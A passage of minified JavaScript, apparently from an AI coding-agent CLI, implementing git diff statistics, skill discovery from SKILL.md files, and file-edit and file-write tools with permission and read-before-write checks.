MO;var zN6=k(()=>{mA();kf6();J0();qN6();sWA();Eq();YK();$8();pqA();e6();C1();NG();MO=o($A(),1)});import{readFileSync as NdY}from"fs";import{access as TdY}from"fs/promises";import{dirname as vdY,join as EdY,relative as kdY,sep as CdY}from"path";async function jC7(){if(!await AD())return null;if(await PC7())return null;let{stdout:K,code:q}=await R6("git",["diff","HEAD","--shortstat"],{timeout:PZ1,preserveOutputOnError:!1});if(q===0){let O=bdY(K);if(O&&O.filesCount>ydY)return{stats:O,perFileStats:new Map,hunks:new Map}}let{stdout:Y,code:z}=await R6("git",["diff","HEAD","--numstat"],{timeout:PZ1,preserveOutputOnError:!1});if(z!==0)return null;let{stats:w,perFileStats:H}=IdY(Y),J=HN6-H.size;if(J>0){let O=await hdY(J);if(O){w.filesCount+=O.size;for(let[X,$]of O)H.set(X,$)}}return{stats:w,perFileStats:H,hunks:new Map}}async function MC7(){if(!await AD())return new Map;if(await PC7())return new Map;let{stdout:K,code:q}=await R6("git",["diff","HEAD"],{timeout:PZ1,preserveOutputOnError:!1});if(q!==0)return new Map;return SdY(K)}function IdY(A){let K=A.trim().split(` `).filter(Boolean),q=0,Y=0,z=0,w=new Map;for(let H of K){let J=H.split("\t");if(J.length<3)continue;z++;let O=J[0],X=J[1],$=J.slice(2).join("\t"),_=O==="-"||X==="-",G=_?0:parseInt(O??"0",10)||0,Z=_?0:parseInt(X??"0",10)||0;if(q+=G,Y+=Z,w.size<HN6)w.set($,{added:G,removed:Z,isBinary:_})}return{stats:{filesCount:z,linesAdded:q,linesRemoved:Y},perFileStats:w}}function SdY(A){let K=new Map;if(!A.trim())return K;let q=A.split(/^diff --git /m).filter(Boolean);for(let Y of q){if(K.size>=HN6)break;if(Y.length>LdY)continue;let z=Y.split(` `),w=z[0]?.match(/^a\/(.+?) b\/(.+)$/);if(!w)continue;let H=w[2]??w[1]??"",J=[],O=null,X=0;for(let $=1;$<z.length;$++){let _=z[$]??"",G=_.match(/^@@ -(\d+)(?:,(\d+))? \+(\d+)(?:,(\d+))? @@/);if(G){if(O)J.push(O);O={oldStart:parseInt(G[1]??"0",10),oldLines:parseInt(G[2]??"1",10),newStart:parseInt(G[3]??"0",10),newLines:parseInt(G[4]??"1",10),lines:[]};continue}if(_.startsWith("index ")||_.startsWith("---")||_.startsWith("+++")||_.startsWith("new file")||_.startsWith("deleted file")||_.startsWith("old mode")||_.startsWith("new mode")||_.startsWith("Binary files"))continue;if(O&&(_.startsWith("+")||_.startsWith("-")||_.startsWith(" ")||_==="")){if(X>=RdY)continue;O.lines.push(""+_),X++}}if(O)J.push(O);if(J.length>0)K.set(H,J)}return K}async function PC7(){let A=await Mt6(x1());if(!A)return!1;return(await Promise.all(["MERGE_HEAD","REBASE_HEAD","CHERRY_PICK_HEAD","REVERT_HEAD"].map((Y)=>TdY(EdY(A,Y)).then(()=>!0).catch(()=>!1)))).some(Boolean)}async function hdY(A){let{stdout:K,code:q}=await R6("git",["ls-files","--others","--exclude-standard"],{timeout:PZ1,preserveOutputOnError:!1});if(q!==0||!K.trim())return null;let Y=K.trim().split(` `).filter(Boolean);if(Y.length===0)return null;let z=new Map;for(let w of Y.slice(0,A))z.set(w,{added:0,removed:0,isBinary:!1,isUntracked:!0});return z}function bdY(A){let K=A.match(/(\d+)\s+files?\s+changed(?:,\s+(\d+)\s+insertions?\(\+\))?(?:,\s+(\d+)\s+deletions?\(-\))?/);if(!K)return null;return{filesCount:parseInt(K[1]??"0",10),linesAdded:parseInt(K[2]??"0",10),linesRemoved:parseInt(K[3]??"0",10)}}async function VZ1(A){let K=Rl(vdY(A));if(!K)return null;let q=kdY(K,A).split(CdY).join("/"),{code:Y}=await A7("git",["ls-files","--error-unmatch",q],{cwd:K,timeout:wN6});if(Y===0){let z=await udY(K),{stdout:w,code:H}=await A7("git",["diff",z,"--",q],{cwd:K,timeout:wN6});if(H!==0)return null;if(!w)return null;return xdY(q,w,"modified")}return BdY(q,A)}function xdY(A,K,q){let Y=K.split(` `),z=[],w=!1,H=0,J=0;for(let O of Y){if(O.startsWith("@@"))w=!0;if(w){if(z.push(O),O.startsWith("+")&&!O.startsWith("+++"))H++;else if(O.startsWith("-")&&!O.startsWith("---"))J++}}return{filename:A,status:q,additions:H,deletions:J,changes:H+J,patch:z.join(` `)}}async function udY(A){let K=process.env.CLAUDE_CODE_BASE_REF||await vE(),{stdout:q,code:Y}=await A7("git",["merge-base","HEAD",K],{cwd:A,timeout:wN6});if(Y===0&&q.trim())return q.trim();return"HEAD"}function BdY(A,K){try{let Y=NdY(K,"utf-8").split(` `);if(Y.length>0&&Y[Y.length-1]==="")Y.pop();let z=Y.length,w=Y.map((J)=>`+${J}`).join(` `),H=`@@ -0,0 +1,${z} @@ ${w}`;return{filename:A,status:"added",additions:z,deletions:0,changes:z,patch:H}}catch{return null}}var PZ1=5000,HN6=50,LdY=1e6,RdY=400,ydY=500,wN6=3000;var rmA=k(()=>{y4();CK();Jw()});import{lstatSync as mdY}from"fs";import{join as D5A,dirname as j5A,basename as TZ1,sep as tWA}from"path";function Rs(A,K){switch(A){case"policySettings":return D5A(yT(),".claude",K);case"userSettings":return D5A(w8(),K);case"projectSettings":return`.claude/${K}`;case"plugin":return"plugin";default:return""}}function eWA(A){let K=[A.name,A.description,A.whenToUse].filter(Boolean).join(" ");return d2(K)}function gdY(A){try{let K=mdY(A,{bigint:!0});return`${K.dev}:${K.ino}`}catch{return null}}function NZ1(A){return A===!0||A==="true"}function fC7(A,K){if(!A.hooks)return;let q=ek.safeParse(A.hooks);if(!q.success){h(`Invalid hooks in skill '${K}': ${q.error.message}`);return}return q.data}function NC7({skillName:A,displayName:K,description:q,hasUserSpecifiedDescription:Y,markdownContent:z,allowedTools:w,argumentHint:H,argumentNames:J,whenToUse:O,version:X,model:$,disableModelInvocation:_,userInvocable:G,source:Z,baseDir:W,loadedFrom:D,hooks:j,executionContext:M,agent:P}){return{type:"prompt",name:A,description:q,hasUserSpecifiedDescription:Y,allowedTools:w,argumentHint:H,argNames:J.length>0?J:void 0,whenToUse:O,version:X,model:$,disableModelInvocation:_,userInvocable:G,context:M,agent:P,contentLength:z.length,isEnabled:()=>!0,isHidden:!G,progressMessage:"running",userFacingName(){return K||A},source:Z,loadedFrom:D,hooks:j,skillRoot:W,async getPromptForCommand(f,N){let T=W?`Base directory for this skill: ${W} ${z}`:z;return T=CWA(T,f,!0,J),T=T.replace(/\$\{CLAUDE_SESSION_ID\}/g,d1()),T=await Is(T,{...N,async getAppState(){let C=await N.getAppState();return{...C,toolPermissionContext:{...C.toolPermissionContext,alwaysAllowRules:{...C.toolPermissionContext.alwaysAllowRules,command:w}}}}},`/${A}`),[{type:"text",text:T}]}}}async function fZ1(A,K){let q=BA(),Y=[];try{let z=q.readdirSync(A);for(let w of z)try{if(w.isDirectory()||w.isSymbolicLink()){let H=D5A(A,w.name),J=D5A(H,"SKILL.md");try{let O=q.readFileSync(J,{encoding:"utf-8"}),{frontmatter:X,content:$}=J_(O),_=w.name,G=X.description??rQ($,"Skill"),Z=Qy(X["allowed-tools"]),W=X["user-invocable"]===void 0?!0:NZ1(X["user-invocable"]),D=NZ1(X["disable-model-invocation"]),j=X.model==="inherit"?void 0:X.model?cz(X.model):void 0,M=fC7(X,_),P=X.context==="fork"?"fork":void 0,f=X.agent,N=MmA(X.arguments);Y.push({skill:NC7({skillName:_,displayName:X.name,description:G,hasUserSpecifiedDescription:!!X.description,markdownContent:$,allowedTools:Z,argumentHint:X["argument-hint"],argumentNames:N,whenToUse:X.when_to_use,version:X.version,model:j,disableModelInvocation:D,userInvocable:W,source:K,baseDir:H,loadedFrom:"skills",hooks:M,executionContext:P,agent:f}),filePath:J})}catch{}}}catch(H){KA(H instanceof Error?H:Error(String(H)))}}catch(z){KA(z instanceof Error?z:Error(String(z)))}return Y}function JN6(A){return/^skill\.md$/i.test(TZ1(A))}function FdY(A){let K=new Map;for(let Y of A){let z=j5A(Y.filePath),w=K.get(z)??[];w.push(Y),K.set(z,w)}let q=[];for(let[Y,z]of K){let w=z.filter((H)=>JN6(H.filePath));if(w.length>0){let H=w[0];if(w.length>1)h(`Multiple skill files found in ${Y}, using ${TZ1(H.filePath)}`);q.push(H)}else q.push(...z)}return q}function TC7(A,K){let q=K.endsWith(tWA)?K.slice(0,-1):K;if(A===q)return"";let Y=A.slice(q.length+1);return Y?Y.split(tWA).join(":"):""}function QdY(A,K){let q=j5A(A),Y=j5A(q),z=TZ1(q),w=TC7(Y,K);return w?`${w}:${z}`:z}function UdY(A,K){let q=TZ1(A),Y=j5A(A),z=q.replace(/\.md$/,""),w=TC7(Y,K);return w?`${w}:${z}`:z}function pdY(A){return JN6(A.filePath)?QdY(A.filePath,A.baseDir):UdY(A.filePath,A.baseDir)}async function ddY(A){try{let K=await oQ("commands",A),q=FdY(K),Y=[];for(let{baseDir:z,filePath:w,frontmatter:H,content:J,source:O}of q)try{let X=H.description??rQ(J,"Custom command"),$=Qy(H["allowed-tools"]),_=H["user-invocable"]===void 0?!0:NZ1(H["user-invocable"]),G=NZ1(H["disable-model-invocation"]),Z=H.model==="inherit"?void 0:H.model?cz(H.model):void 0,W=H.context==="fork"?"fork":void 0,D=H.agent,M=JN6(w)?j5A(w):void 0,P=pdY({baseDir:z,filePath:w,frontmatter:H,content:J,source:O}),f=fC7(H,P),N=MmA(H.arguments);Y.push({skill:NC7({skillName:P,displayName:void 0,description:X,hasUserSpecifiedDescription:!!H.description,markdownContent:J,allowedTools:$,argumentHint:H["argument-hint"],argumentNames:N,whenToUse:H.when_to_use,version:H.version,model:Z,disableModelInvocation:G,userInvocable:_,source:O,baseDir:M,loadedFrom:"commands_DEPRECATED",hooks:f,executionContext:W,agent:D}),filePath:w})}catch(X){KA(X instanceof Error?X:Error(String(X)))}return Y}catch(K){return KA(K instanceof Error?K:Error(String(K))),[]}}function vZ1(){ON6.cache?.clear?.(),oQ.cache?.clear?.()}function EC7(A){vC7.push(A)}function ADA(A,K){let q=BA(),Y=K.endsWith(tWA)?K.slice(0,-1):K,z=[];for(let w of A){let H=j5A(w);while(H.startsWith(Y+tWA)){let J=D5A(H,".claude","skills");if(!VC7.has(J))try{q.statSync(J),z.push(J),VC7.add(J)}catch{}let O=j5A(H);if(O===H)break;H=O}}return z.sort((w,H)=>H.split(tWA).length-w.split(tWA).length)}async function KDA(A){if(A.length===0)return;let K=new Set(omA.keys()),q=await Promise.all(A.map((z)=>fZ1(z,"projectSettings")));for(let z=q.length-1;z>=0;z--)for(let{skill:w}of q[z]??[])if(w.type==="prompt")omA.set(w.name,w);let Y=q.flat().length;if(Y>0){let z=[...omA.keys()].filter((w)=>!K.has(w));if(h(`[skills] Dynamically discovered ${Y} skills from ${A.length} directories`),z.length>0)n("tengu_dynamic_skills_changed",{source:"file_operation",previousCount:K.size,newCount:omA.size,addedCount:z.length,directoryCount:A.length})}for(let z of vC7)try{z()}catch(w){KA(w instanceof Error?w:Error(String(w)))}}function kC7(){return Array.from(omA.values())}var ON6,VC7,omA,vC7;var ys=k(()=>{p7();C1();Z1();l1();qDA();aQ();e6();nQ();l6();I8();GJ();K7();rU();dT();q6();PmA();ON6=z6(async(A)=>{let K=D5A(w8(),"skills"),q=D5A(yT(),".claude","skills"),Y=wY6("skills",A);h(`Loading skills from: managed=${q}, user=${K}, project=[${Y.join(", ")}]`);let[z,w,H]=await Promise.all([fZ1(q,"policySettings"),t$("userSettings")?fZ1(K,"userSettings"):Promise.resolve([]),t$("projectSettings")?Promise.all(Y.map((G)=>fZ1(G,"projectSettings"))):Promise.resolve([])]),J=await ddY(A),O=[...z,...w,...H.flat(),...J],X=new Map,$=[];for(let{skill:G,filePath:Z}of O){if(G.type!=="prompt")continue;let W=gdY(Z);if(W===null){$.push(G);continue}let D=X.get(W);if(D!==void 0){h(`Skipping duplicate skill '${G.name}' from ${G.source} (same inode already loaded from ${D})`);continue}X.set(W,G.source),$.push(G)}let _=O.length-$.length;if(_>0)h(`Deduplicated ${_} skills (same inode)`);return h(`Loaded ${$.length} unique skills (managed: ${z.length}, user: ${w.length}, project: ${H.flat().length}, legacy commands: ${J.length})`),$});VC7=new Set,omA=new Map,vC7=[]});import{dirname as cdY,isAbsolute as XN6,sep as ldY}from"path";var qj;var M5A=k(()=>{l1();LG1();YK();y4();q6();vp();ON7();pqA();Xz();Oz();e6();QqA();Gs();bmA();C1();Z1();Zf6();bv7();AP();FWA();zN6();B7();rmA();ys();qj={name:m5,maxResultSizeChars:1e5,strict:!0,async description(){return"A tool for editing files"},async prompt(){return JN7()},userFacingName:MZ1,getToolUseSummary:YN6,getActivityDescription(A){let K=YN6(A);return K?`Editing ${K}`:"Editing file"},isEnabled(){return!0},inputSchema:vv7,outputSchema:Ev7,isConcurrencySafe(){return!1},isReadOnly(){return!1},getPath(A){return A.file_path},async checkPermissions(A,K){let q=await K.getAppState();return P5A(qj,A,q.toolPermissionContext)},renderToolUseMessage:_C7,renderToolUseProgressMessage:GC7,renderToolResultMessage:ZC7,renderToolUseRejectedMessage:WC7,renderToolUseErrorMessage:DC7,async validateInput({file_path:A,old_string:K,new_string:q,replace_all:Y=!1},z){if(K===q)return{result:!1,behavior:"ask",message:"No changes to make: old_string and new_string are exactly the same.",errorCode:1};let w=x7(A),H=await z.getAppState();if(gG(w,H.toolPermissionContext,"edit","deny")!==null)return{result:!1,behavior:"ask",message:"File is in a directory that is denied by your permission settings.",errorCode:2};let O=BA();if(O.existsSync(w)&&K===""){if(O.readFileSync(w,{encoding:gX(w)}).replaceAll(`\r `,` `).trim()!=="")return{result:!1,behavior:"ask",message:"Cannot create new file - file already exists.",errorCode:3};return{result:!0}}if(!O.existsSync(w)&&K==="")return{result:!0};if(!O.existsSync(w)){let W=EZ1(w),D="File does not exist.",j=x1(),M=V8();if(j!==M)D+=` Current working directory: ${j}`;if(W)D+=` Did you mean ${W}?`;return{result:!1,behavior:"ask",message:D,errorCode:4}}if(w.endsWith(".ipynb"))return{result:!1,behavior:"ask",message:`File is a Jupyter Notebook. Use the ${ZD} to edit this file.`,errorCode:5};let X=z.readFileState.get(w);if(!X&&!G4("tengu_marble_kite",!1))return{result:!1,behavior:"ask",message:"File has not been read yet. Read it first before writing to it.",meta:{isFilePathAbsolute:String(XN6(A))},errorCode:6};if(X){if(Kj(w)>X.timestamp)if(X.offset===void 0&&X.limit===void 0)if(O.readFileSync(w,{encoding:gX(w)}).replaceAll(`\r `,` `)===X.content);else return{result:!1,behavior:"ask",message:"File has been modified since read, either by the user or by a linter. Read it again before attempting to write it.",errorCode:7};else return{result:!1,behavior:"ask",message:"File has been modified since read, either by the user or by a linter. Read it again before attempting to write it.",errorCode:7}}let $=O.readFileSync(w,{encoding:gX(w)}).replaceAll(`\r `,` `),_=UqA($,K);if(!_)return{result:!1,behavior:"ask",message:`String to replace not found in file. String: ${K}`,meta:{isFilePathAbsolute:String(XN6(A))},errorCode:8};let G=$.split(_).length-1;if(G>1&&!Y)return{result:!1,behavior:"ask",message:`Found ${G} matches of the string to replace, but replace_all is false. To replace all occurrences, set replace_all to true. To replace only one occurrence, please provide more context to uniquely identify the instance. String: ${K}`,meta:{isFilePathAbsolute:String(XN6(A)),actualOldString:_},errorCode:9};let Z=hv7(w,$,()=>{return Y?$.replaceAll(_,q):$.replace(_,q)});if(Z!==null)return Z;return{result:!0,meta:{actualOldString:_}}},inputsEquivalent(A,K){return Gj7({file_path:A.file_path,edits:[{old_string:A.old_string,new_string:A.new_string,replace_all:A.replace_all??!1}]},{file_path:K.file_path,edits:[{old_string:K.old_string,new_string:K.new_string,replace_all:K.replace_all??!1}]})},async call({file_path:A,old_string:K,new_string:q,replace_all:Y=!1},{readFileState:z,userModified:w,updateFileHistoryState:H,dynamicSkillDirTriggers:J},O,X){let $=BA(),_=x7(A),G=x1(),Z=ADA([_],G);if(Z.length>0){for(let x of Z)J?.add(x);KDA(Z).catch(()=>{})}await Tp.beforeFileEdited(_);let W=$.existsSync(_)?d0(_):"";if($.existsSync(_)){let x=Kj(_),y=z.get(_);if(!y||x>y.timestamp){if(!y&&G4("tengu_marble_kite",!1));else if(!(y&&y.offset===void 0&&y.limit===void 0&&W===y.content))throw Error(ekA)}}if(l2())await Ds(H,_,X.uuid);let D=UqA(W,K)||K,{patch:j,updatedFile:M}=G_1({filePath:_,fileContents:W,oldString:D,newString:q,replaceAll:Y}),P=cdY(_);$.mkdirSync(P);let f=$.existsSync(_)?Up(_):"LF",N=$.existsSync(_)?gX(_):"utf8";Ss(_,M,N,f);let T=mp();if(T)UG1(`file://${_}`),T.changeFile(_,M).catch((x)=>{h(`LSP: Failed to notify server of file change for ${_}: ${x.message}`),KA(x)}),T.saveFile(_).catch((x)=>{h(`LSP: Failed to notify server of file save for ${_}: ${x.message}`),KA(x)});if(Zs(_,W,M),z.set(_,{content:M,timestamp:Kj(_),offset:void 0,limit:void 0}),_.endsWith(`${ldY}CLAUDE.md`))n("tengu_write_claudemd",{});qmA(j),WB({operation:"edit",tool:"FileEditTool",filePath:_});let C;if(process.env.CLAUDE_CODE_ENTRYPOINT==="remote"&&!0&&G4("tengu_quartz_lantern",!1)){let x=Date.now(),y=await VZ1(_);if(y)C=y;n("tengu_tool_use_diff_computed",{isEditTool:!0,durationMs:Date.now()-x,hasDiff:!!y})}return{data:{filePath:A,oldString:D,newString:q,originalFile:W,structuredPatch:j,userModified:w??!1,replaceAll:Y,...C&&{gitDiff:C}}}},mapToolResultToToolResultBlockParam({filePath:A,oldString:K,newString:q,userModified:Y,replaceAll:z},w){let H=Y?". The user modified your proposed changes before accepting them. ":"";if(z)return{tool_use_id:w,type:"tool_result",content:`The file ${A} has been updated${H}. All occurrences of '${K}' were successfully replaced with '${q}'.`};return{tool_use_id:w,type:"tool_result",content:`The file ${A} has been updated successfully${H}.`}}}});import{EOL as LC7}from"os";import{isAbsolute as idY,relative as RC7,resolve as ndY}from"path";function rdY(A){let K=s(27),{filePath:q,content:Y,verbose:z}=A,{columns:w}=f8(),H=Y||"(No content)",J;if(K[0]!==Y)J=Y.split(LC7),K[0]=Y,K[1]=J;else J=K[1];let O=J.length,X=O-CC7,$;if(K[2]!==O)$=xq.createElement(V,{bold:!0},O),K[2]=O,K[3]=$;else $=K[3];let _;if(K[4]!==q||K[5]!==z)_=z?q:RC7(x1(),q),K[4]=q,K[5]=z,K[6]=_;else _=K[6];let G;if(K[7]!==_)G=xq.createElement(V,{bold:!0},_),K[7]=_,K[8]=G;else G=K[8];let Z;if(K[9]!==$||K[10]!==G)Z=xq.createElement(V,null,"Wrote ",$," lines to"," ",G),K[9]=$,K[10]=G,K[11]=Z;else Z=K[11];let W;if(K[12]!==H||K[13]!==z)W=z?H:H.split(` `).slice(0,CC7).join(` `),K[12]=H,K[13]=z,K[14]=W;else W=K[14];let D=w-12,j;if(K[15]!==q||K[16]!==W||K[17]!==D)j=xq.createElement(S,{flexDirection:"column"},xq.createElement(yf,{code:W,filePath:q,width:D})),K[15]=q,K[16]=W,K[17]=D,K[18]=j;else j=K[18];let M;if(K[19]!==O||K[20]!==X||K[21]!==z)M=!z&&X>0&&xq.createElement(V,{dimColor:!0},"… +",X," ",X===1?"line":"lines"," ",O>0&&xq.createElement(mI,null)),K[19]=O,K[20]=X,K[21]=z,K[22]=M;else M=K[22];let P;if(K[23]!==Z||K[24]!==j||K[25]!==M)P=xq.createElement(k6,null,xq.createElement(S,{flexDirection:"column"},Z,j,M)),K[23]=Z,K[24]=j,K[25]=M,K[26]=P;else P=K[26];return P}function yC7(A){if(A?.file_path?.startsWith(tZ()))return"Updated plan";return"Write"}function $N6(A){if(!A?.file_path)return null;return Z5(A.file_path)}function IC7(A,{verbose:K}){if(!A.file_path)return null;if(A.file_path.startsWith(tZ()))return"";return xq.createElement(zL,{filePath:A.file_path},K?A.file_path:Z5(A.file_path))}function SC7({file_path:A,content:K},{style:q,verbose:Y}){try{let z=BA(),w=idY(A)?A:ndY(x1(),A);if(!z.existsSync(w))return xq.createElement(aWA,{file_path:A,operation:"write",content:K,firstLine:K.split(` `)[0]??null,verbose:Y});let J=gX(w),O=z.readFileSync(w,{encoding:J}),X=tT({filePath:A,fileContents:O,edits:[{old_string:O,new_string:K,replace_all:!1}]}),$=K.split(` `)[0]??null;return xq.createElement(aWA,{file_path:A,operation:"update",patch:X,firstLine:$,fileContent:O,style:q,verbose:Y})}catch(z){return KA(z),xq.createElement(k6,null,xq.createElement(V,null,"(No changes)"))}}function hC7(A,{verbose:K}){if(!K&&typeof A==="string"&&i7(A,"tool_use_error"))return xq.createElement(k6,null,xq.createElement(V,{color:"error"},"Error writing file"));return xq.createElement(C3,{result:A,verbose:K})}function bC7(){return null}function xC7({filePath:A,content:K,structuredPatch:q,type:Y,originalFile:z},w,{style:H,verbose:J}){switch(Y){case"create":{if(A.startsWith(tZ())&&!J){if(H!=="condensed")return xq.createElement(k6,null,xq.createElement(V,{dimColor:!0},"/plan to preview"))}else if(H==="condensed"&&!J){let X=K.split(LC7).length;return xq.createElement(V,null,"Wrote ",xq.createElement(V,{bold:!0},X)," lines to"," ",xq.createElement(V,{bold:!0},RC7(x1(),A)))}return xq.createElement(rdY,{filePath:A,content:K,verbose:J})}case"update":{let O=A.startsWith(tZ());return xq.createElement(aG1,{filePath:A,structuredPatch:q,firstLine:K.split(` `)[0]??null,fileContent:z??void 0,style:H,verbose:J,previewHint:O?"/plan to preview":void 0})}}}var xq,CC7=10;var uC7=k(()=>{cA();mA();kf6();qN6();sWA();W5A();Eq();J0();ca();YK();y4();vp();e6();C1();$8();NG();uK();xq=o($A(),1)});import{dirname as odY,sep as adY}from"path";var BC7=16000,sdY="<response clipped><NOTE>To save on context only part of this file has been shown to you. You should retry this tool after you have searched inside the file with Grep in order to find the line numbers of what you are looking for.</NOTE>",tdY,edY,Yj;var V5A=k(()=>{z7();l1();LG1();YK();jV();vp();Xz();Oz();e6();QqA();Gs();bmA();C1();Z1();Zf6();AP();FWA();uC7();y4();B7();rmA();ys();tdY=U.strictObject({file_path:U.string().describe("The absolute path to the file to write (must be absolute, not relative)"),content:U.string().describe("The content to write to the file")}),edY=U.object({type:U.enum(["create","update"]).describe("Whether a new file was created or an existing file was updated"),filePath:U.string().describe("The path to the file that was written"),content:U.string().describe("The content that was written to the file"),structuredPatch:U.array(Gf6).describe("Diff patch showing the changes"),originalFile:U.string().nullable().describe("The original file content before the write (null for new files)"),gitDiff:U.object({filename:U.string(),status:U.enum(["modified","added"]),additions:U.number(),deletions:U.number(),changes:U.number(),patch:U.string()}).optional()}),Yj={name:Qz,maxResultSizeChars:1e5,strict:!0,input_examples:[{file_path:"/Users/username/project/src/newFile.ts",content:"Hello, World!"}],async description(){return"Write a file to the local filesystem."},userFacingName:yC7,getToolUseSummary:$N6,getActivityDescription(A){let K=$N6(A);return K?`Writing ${K}`:"Writing file"},async prompt(){return ux8()},isEnabled(){return!0},renderToolUseMessage:IC7,inputSchema:tdY,outputSchema:edY,isConcurrencySafe(){return!1},isReadOnly(){return!1},getPath(A){return A.file_path},async checkPermissions(A,K){let q=await K.getAppState();return P5A(Yj,A,q.toolPermissionContext)},renderToolUseRejectedMessage:SC7,renderToolUseErrorMessage:hC7,renderToolUseProgressMessage:bC7,renderToolResultMessage:xC7,async validateInput({file_path:A},K){let q=x7(A),Y=await K.getAppState();if(gG(q,Y.toolPermissionContext,"edit","deny")!==null)return{result:!1,message:"File is in a directory that is denied by your permission settings.",errorCode:1};if(!BA().existsSync(q))return{result:!0};let H=K.readFileState.get(q);if(!H&&!G4("tengu_marble_kite",!1))return{result:!1,message:"File has not been read yet. Read it first before writing to it.",errorCode:2};if(H){if(Kj(q)>H.timestamp)return{result:!1,message:"File has been modified since read, either by the user or by a linter. Read it again before attempting to write it.",errorCode:3}}return{result:!0}},async call({file_path:A,content:K},{readFileState:q,updateFileHistoryState:Y,dynamicSkillDirTriggers:z},w,H){let J=x7(A),O=odY(J),X=BA(),$=x1(),_=ADA([J],$);if(_.length>0){for(let f of _)z?.add(f);KDA(_).catch(()=>{})}await Tp.beforeFileEdited(J);let G=X.existsSync(J);if(G){let f=Kj(J),N=q.get(J);if(!N||f>N.timestamp)if(!N&&G4("tengu_marble_kite",!1));else if(N&&N.offset===void 0&&N.limit===void 0){let C=gX(J);if(X.readFileSync(J,{encoding:C}).replaceAll(`\r `,` `)!==N.content)throw Error(ekA)}else throw Error(ekA)}let Z=G?gX(J):"utf-8",W=G?X.readFileSync(J,{encoding:Z}):null;if(l2())await Ds(Y,J,H.uuid);let D=G?Up(J):await mC7();X.mkdirSync(O),Ss(J,K,Z,D);let j=mp();if(j)UG1(`file://${J}`),j.changeFile(J,K).catch((f)=>{h(`LSP: Failed to notify server of file change for ${J}: ${f.message}`),KA(f)}),j.saveFile(J).catch((f)=>{h(`LSP: Failed to notify server of file save for ${J}: ${f.message}`),KA(f)});if(Zs(J,W,K),q.set(J,{content:K,timestamp:Kj(J),offset:void 0,limit:void 0}),J.endsWith(`${adY}CLAUDE.md`))n("tengu_write_claudemd",{});let M;if(process.env.CLAUDE_CODE_ENTRYPOINT==="remote"&&!0&&G4("tengu_quartz_lantern",!1)){let f=Date.now(),N=await VZ1(J);if(N)M=N;n("tengu_tool_use_diff_computed",{isWriteTool:!0,durationMs:Date.now()-f,hasDiff:!!N})}if(W){let f=tT({filePath:A,fileContents:W,edits:[{old_string:W,new_string:K,replace_all:!1}]}),N={type:"update",filePath:A,content:K,structuredPatch:f,originalFile:W,...M&&{gitDiff:M}};return qmA(f),WB({operation:"write",tool:"FileWriteTool",filePath:J,type:"update"}),{data:N}}let P={type:"create",filePath:A,content:K,structuredPatch:[],originalFile:null,...M&&{gitDiff:M}};return qmA([],K),WB({operation:"write",tool:"FileWriteTool",filePath:J,type:"create"}),{data:P}},mapToolResultToToolResultBlockParam({filePath:A,content:K,type:q},Y){switch(q){case"create":return{tool_use_id:Y,type:"tool_result",content:`File created successfully at: ${A}`};case"update":{if(G4("tengu_file_write_optimization",!1))return{tool_use_id:Y,type:"tool_result",content:`The file ${A} has been overwritten successfully.`};return{tool_use_id:Y,type:"tool_result",content:`The file ${A} has been updated. Here's the result of running \`cat -n\` on a snippet of the edited file: ${zWA({content:K.split(/\r?\n/).length>BC7?K.split(/\r?\n/).slice(0,BC7).join(` `)+sdY:K,startLine:1})}`}}}}}});var YDA="TaskOutput";var kZ1=v((FC7)=>{Object.defineProperty(FC7,"__esModule",{value:!0});FC7.getDeepKeys=FC7.toJSON=void 0;var AcY=["function","symbol","undefined"],KcY=["constructor","prototype","__proto__"],qcY=Object.getPrototypeOf({});function YcY(){let A={},K=this;for(let q of gC7(K))if(typeof q==="string"){let Y=K[q],z=typeof Y;if(!AcY.includes(z))A[q]=Y}return A}FC7.toJSON=YcY;function gC7(A,K=[]){let q=[];while(A&&A!==qcY)q=q.concat(Object.getOwnPropertyNames(A),Object.getOwnPropertySymbols(A)),A=Object.getPrototypeOf(A);let Y=new Set(q);for(let z of K.concat(KcY))Y.delete(z);return Y}FC7.getDeepKeys=gC7});var _N6=v((dC7)=>{Object.defineProperty(dC7,"__esModule",{value:!0});dC7.addInspectMethod=dC7.format=void 0;var UC7=CA("util"),wcY=kZ1(),pC7=UC7.inspect.custom||Symbol.for("nodejs.util.inspect.custom");dC7.format=UC7.format;function HcY(A){A[pC7]=JcY}dC7.addInspectMethod=HcY;function JcY(){let A={},K=this;for(let q of wcY.getDeepKeys(K)){let Y=K[q];A[q]=Y}return delete A[pC7],A}});var oC7=v((nC7)=>{Object.defineProperty(nC7,"__esModule",{value:!0});nC7.lazyJoinStacks=nC7.joinStacks=nC7.isWritableStack=nC7.isLazyStack=void 0;var XcY=/\r?\n/,$cY=/\bono[ @]/;function _cY(A){return Boolean(A&&A.configurable&&typeof A.get==="function")}nC7.isLazyStack=_cY;function GcY(A){return Boolean(!A||A.writable||typeof A.set==="function")}nC7.isWritableStack=GcY;function lC7(A,K){let q=iC7(A.stack),Y=K?K.stack:void 0;if(q&&Y)return q+` `+Y;else return q||Y}nC7.joinStacks=lC7;function ZcY(A,K,q){if(q)Object.defineProperty(K,"stack",{get:()=>{let Y=A.get.apply(K);return lC7({stack:Y},q)},enumerable:!1,configurable:!0});else WcY(K,A)}nC7.lazyJoinStacks=ZcY;function iC7(A){if(A){let K=A.split(XcY),q;for(let Y=0;Y<K.length;Y++){let z=K[Y];if($cY.test(z)){if(q===void 0)q=Y}else if(q!==void 0){K.splice(q,Y-q);break}}if(K.length>0)return K.join(` `)}return A}function WcY(A,K){Object.defineProperty(A,"stack",{get:()=>iC7(K.get.apply(A)),enumerable:!1,configurable:!0})}});var AL7=v((tC7)=>{Object.defineProperty(tC7,"__esModule",{value:!0});tC7.extendError=void 0;var aC7=_N6(),CZ1=oC7(),sC7=kZ1(),PcY=["name","message","stack"];function VcY(A,K,q){let Y=A;if(fcY(Y,K),K&&typeof K==="object")NcY(Y,K);if(Y.toJSON=sC7.toJSON,aC7.addInspectMethod)aC7.addInspectMethod(Y);if(q&&typeof q==="object")Object.assign(Y,q);return Y}tC7.extendError=VcY;function fcY(A,K){let q=Object.getOwnPropertyDescriptor(A,"stack");if(CZ1.isLazyStack(q))CZ1.lazyJoinStacks(q,A,K);else if(CZ1.isWritableStack(q))A.stack=CZ1.joinStacks(A,K)}function NcY(A,K){let q=sC7.getDeepKeys(K,PcY),Y=A,z=K;for(let w of q)if(Y[w]===void 0)try{Y[w]=z[w]}catch(H){}}});var YL7=v((KL7)=>{Object.defineProperty(KL7,"__esModule",{value:!0});KL7.normalizeArgs=KL7.normalizeOptions=void 0;var TcY=_N6();function vcY(A){return A=A||{},{concatMessages:A.concatMessages===void 0?!0:Boolean(A.concatMessages),format:A.format===void 